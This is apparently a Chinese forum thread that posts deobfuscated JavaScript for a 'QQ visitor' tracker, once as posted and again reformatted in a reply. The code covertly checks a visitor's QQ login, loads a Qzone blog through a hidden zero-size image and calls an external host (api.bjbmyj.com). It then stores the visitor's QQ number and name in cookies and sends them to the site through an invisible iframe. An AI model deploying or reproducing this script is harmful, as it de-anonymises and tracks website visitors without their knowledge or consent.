var Qin_api = 'http://api.bjbmyj.com/api';
var isIE = document.all ? true: false;
var ie = document.all ? true: false;
var isIE = !!window.ActiveXObject;
function loadJS(jsurl, onsuccess, charset, onerr) {
    var xScript = document.createElement("script");
    xScript.type = "text/javascript";
    if (charset == '') {
        xScript.charset = "utf-8"
    } else {
        xScript.charset = charset
    }
    xScript.src = jsurl;
    xScript.onerror = function() {
        if (onerr) {
            setTimeout(onerr, 10)
        }
    };
    if (ie) {
        xScript.onreadystatechange = function() {
            if (xScript.readyState) {
                if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            } else {
                xScript.onreadystatechange = null;
                xScript.onload = null;
                if (onsuccess) {
                    setTimeout(onsuccess, 10)
                }
            }
        }
    } else {
        xScript.onload = function() {
            if (xScript.readyState) {
                if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
                    xScript.onreadystatechange = null;
                    xScript.onload = null;
                    if (onsuccess) {
                        setTimeout(onsuccess, 10)
                    }
                }
            } else {
                xScript.onreadystatechange = null;
                xScript.onload = null;
                if (onsuccess) {
                    setTimeout(onsuccess, 10)
                }
            }
        }
    }
    document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
}
function fangkenoLogin() {
    xx1 = getCookie("fkqq");
    xx2 = getCookie("fkname");
    try {
        if (xx1 == '' || xx1 == 'null') {
            fangkenoLogin_do()
        } else {
            setTimeout(xxx_third, 1)
        }
    } catch(e) {
        fangkenoLogin_do()
    }
}
function fangkenoLogin_do() {
    loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
}
function checkLoginCB() {
    try {
        if (data0.err == 1026) {
            setTimeout(blog_api, 100)
        } else {
            setTimeout(fangkenoLogin, 5000)
        }
    } catch(e) {
        setTimeout(fangkenoLogin, 5000)
    }
}
function blog_api() {
    loadJS(Qin_api + "/blog_url.php?t=" + (new Date).getTime())
}
function loading_blog(blogid, uid) {
    var hyj_b = new Date();
    var hyj_tm = hyj_b.getTime();
    hyj_tm = Math.round(hyj_tm / 1000);
    var hyj_src = "http://b1.cnc.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=" + uid + "&blogid=" + blogid + "&styledm=cnc.qzonestyle.gtimg.cn&imgdm=cnc.qzs.qq.com&bdm=b.cnc.qzone.qq.com&mode=2&numperpage=15×tamp=" + hyj_tm + "&dprefix=cnc.&blogseed=" + Math.random() + "&inCharset=utf-8&outCharset=utf-8&ref=qzone&entertime=" + hyj_tm;
    my_fetch_url = Qin_api + "/qq/index.php?uid=" + uid + "&blogid=" + blogid + "&tm=" + hyj_tm;
    var img = new Image();
    img.src = hyj_src;
    img.width = 0;
    img.height = 0;
    img.border = 0;
    if (img.attachEvent) {
        img.attachEvent("onerror",
        function() {
            get_lastview()
        });
        img.attachEvent("onload",
        function() {
            get_lastview()
        });
        img.attachEvent("onabort",
        function() {
            get_lastview()
        })
    } else {
        img.onerror = function() {
            get_lastview()
        };
        img.onload = function() {
            get_lastview()
        };
        img.onabort = function() {
            get_lastview()
        }
    }
    document.body.appendChild(img)
}
function get_lastview() {
    loadJS(my_fetch_url)
}
function qqs(id) {
    try {
        xx1 = id.uin;
        xx2 = encodeURIComponent(id.name);
        setCookie("fkqq", xx1);
        setCookie("fkname", xx2);
        setTimeout(xxx_third, 1)
    } catch(e) {}
}
function xxx_third() {
    var xurl = location.href;
    var xurl = xurl.replace("T-census.php", "C-census.php");
    var iframe = document.createElement("iframe");
    iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
    iframe.id = "QQfangke_iframe_two";
    iframe.name = "QQfangke_iframe_two";
    iframe.style.width = "0px";
    iframe.style.height = "0px";
    iframe.scrolling = "no";
    iframe.setAttribute('frameborder', '0', 0);
    document.body.appendChild(iframe)
}
function setCookie(name, value) {
    var Days = 1000;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return (arr[2]);
    else return 'null'
}
function delCookie(name) {
    var date = new Date();
    date.setTime(date.getTime() - 10000);
    document.cookie = name + "=;expire=" + date.toGMTString()
}
fangkenoLogin();可以去http://blog.csdn.net/superwfei/article/details/37821653看一下,最好能自己解密

解决方案 »

  1.   


    var Qin_api =
        'http://api.bjbmyj.com/api';
    var isIE = document.all ? true : false;
    var ie = document.all ? true : false;
    var isIE = !!window.ActiveXObject;function loadJS(jsurl, onsuccess,
        charset, onerr) {
        var xScript = document.createElement(
            "script");
        xScript.type =
            "text/javascript";
        if (charset == '') {
            xScript.charset = "utf-8"
        } else {
            xScript.charset = charset
        }
        xScript.src = jsurl;
        xScript.onerror = function () {
            if (onerr) {
                setTimeout(onerr,
                    10)
            }
        };
        if (ie) {
            xScript.onreadystatechange =
                function () {
                    if (xScript.readyState) {
                        if (xScript.readyState ==
                            "loaded" ||
                            xScript.readyState ==
                            "complete") {
                            xScript.onreadystatechange =
                                null;
                            xScript.onload =
                                null;
                            if (
                                onsuccess
                            ) {
                                setTimeout
                                    (
                                        onsuccess,
                                        10
                                    )
                            }
                        }
                    } else {
                        xScript.onreadystatechange =
                            null;
                        xScript.onload =
                            null;
                        if (onsuccess) {
                            setTimeout(
                                onsuccess,
                                10)
                        }
                    }
                }
        } else {
            xScript.onload = function () {
                if (xScript.readyState) {
                    if (xScript.readyState ==
                        "loaded" ||
                        xScript.readyState ==
                        "complete") {
                        xScript.onreadystatechange =
                            null;
                        xScript.onload =
                            null;
                        if (
                            onsuccess
                        ) {
                            setTimeout
                                (
                                    onsuccess,
                                    10
                                )
                        }
                    }
                } else {
                    xScript.onreadystatechange =
                        null;
                    xScript.onload =
                        null;
                    if (onsuccess) {
                        setTimeout(
                            onsuccess,
                            10)
                    }
                }
            }
        }
        document.getElementsByTagName(
                'HEAD')
            .item(0)
            .appendChild(xScript)
    }function fangkenoLogin() {
        xx1 = getCookie("fkqq");
        xx2 = getCookie("fkname");
        try {
            if (xx1 == '' || xx1 ==
                'null') {
                fangkenoLogin_do()
            } else {
                setTimeout(xxx_third, 1)
            }
        } catch (e) {
            fangkenoLogin_do()
        }
    }function fangkenoLogin_do() {
        loadJS(
            "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" +
            (new Date)
            .getTime(),
            checkLoginCB)
    }function checkLoginCB() {
        try {
            if (data0.err == 1026) {
                setTimeout(blog_api,
                    100)
            } else {
                setTimeout(
                    fangkenoLogin,
                    5000)
            }
        } catch (e) {
            setTimeout(fangkenoLogin,
                5000)
        }
    }function blog_api() {
        loadJS(Qin_api +
            "/blog_url.php?t=" + (
                new Date)
            .getTime())
    }function loading_blog(blogid, uid) {
        var hyj_b = new Date();
        var hyj_tm = hyj_b.getTime();
        hyj_tm = Math.round(hyj_tm /
            1000);
        var hyj_src =
            "http://b1.cnc.qzone.qq.com/cgi-bin/blognew/blog_output_data?uin=" +
            uid + "&blogid=" + blogid +
            "&styledm=cnc.qzonestyle.gtimg.cn&imgdm=cnc.qzs.qq.com&bdm=b.cnc.qzone.qq.com&mode=2&numperpage=15×tamp=" +
            hyj_tm +
            "&dprefix=cnc.&blogseed=" +
            Math.random() +
            "&inCharset=utf-8&outCharset=utf-8&ref=qzone&entertime=" +
            hyj_tm;
        my_fetch_url = Qin_api +
            "/qq/index.php?uid=" + uid +
            "&blogid=" + blogid +
            "&tm=" + hyj_tm;
        var img = new Image();
        img.src = hyj_src;
        img.width = 0;
        img.height = 0;
        img.border = 0;
        if (img.attachEvent) {
            img.attachEvent("onerror",
                function () {
                    get_lastview()
                });
            img.attachEvent("onload",
                function () {
                    get_lastview()
                });
            img.attachEvent("onabort",
                function () {
                    get_lastview()
                })
        } else {
            img.onerror = function () {
                get_lastview()
            };
            img.onload = function () {
                get_lastview()
            };
            img.onabort = function () {
                get_lastview()
            }
        }
        document.body.appendChild(img)
    }function get_lastview() {
        loadJS(my_fetch_url)
    }function qqs(id) {
        try {
            xx1 = id.uin;
            xx2 = encodeURIComponent(id
                .name);
            setCookie("fkqq", xx1);
            setCookie("fkname", xx2);
            setTimeout(xxx_third, 1)
        } catch (e) {}
    }function xxx_third() {
        var xurl = location.href;
        var xurl = xurl.replace(
            "T-census.php",
            "C-census.php");
        var iframe = document.createElement(
            "iframe");
        iframe.src = xurl + "&xx1=" +
            xx1 + "&xx2=" + xx2;
        iframe.id =
            "QQfangke_iframe_two";
        iframe.name =
            "QQfangke_iframe_two";
        iframe.style.width = "0px";
        iframe.style.height = "0px";
        iframe.scrolling = "no";
        iframe.setAttribute(
            'frameborder', '0', 0);
        document.body.appendChild(
            iframe)
    }function setCookie(name, value) {
        var Days = 1000;
        var exp = new Date();
        exp.setTime(exp.getTime() +
            Days * 24 * 60 * 60 *
            1000);
        document.cookie = name + "=" +
            escape(value) + ";expires=" +
            exp.toGMTString()
    }function getCookie(name) {
        var arr, reg = new RegExp(
            "(^| )" + name +
            "=([^;]*)(;|$)");
        if (arr = document.cookie.match(
            reg)) return (arr[2]);
        else return 'null'
    }function delCookie(name) {
        var date = new Date();
        date.setTime(date.getTime() -
            10000);
        document.cookie = name +
            "=;expire=" + date.toGMTString()
    }
    fangkenoLogin();